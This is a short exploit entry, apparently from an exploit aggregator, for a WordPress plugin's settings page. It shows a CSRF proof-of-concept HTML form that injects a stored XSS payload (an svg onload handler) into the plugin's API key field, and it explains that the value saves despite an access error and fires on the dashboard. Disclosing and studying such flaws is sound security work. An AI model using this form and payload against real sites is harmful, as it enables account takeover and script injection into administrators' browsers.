Share
## https://sploitus.com/exploit?id=WPEX-ID:9F83DACA-7BFD-4A05-9016-DEFC7F81B4F1
As any authenticated user, such as subscriber. Or via CSRF against them

<html>
  <body>
    <form action="https://example.com/wp-admin/admin.php?page=settings-wisw" method="POST">
      <input type="hidden" name="wyt_api_key" value='a"><svg/onload=alert(/XSS/)>' />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

Despite the "Sorry, you are not allowed to access this page." error, the API Key will be updated

The XSS will be triggered when viewing the Profile Dashboard (wp-admin/admin.php?page=settings-wisw)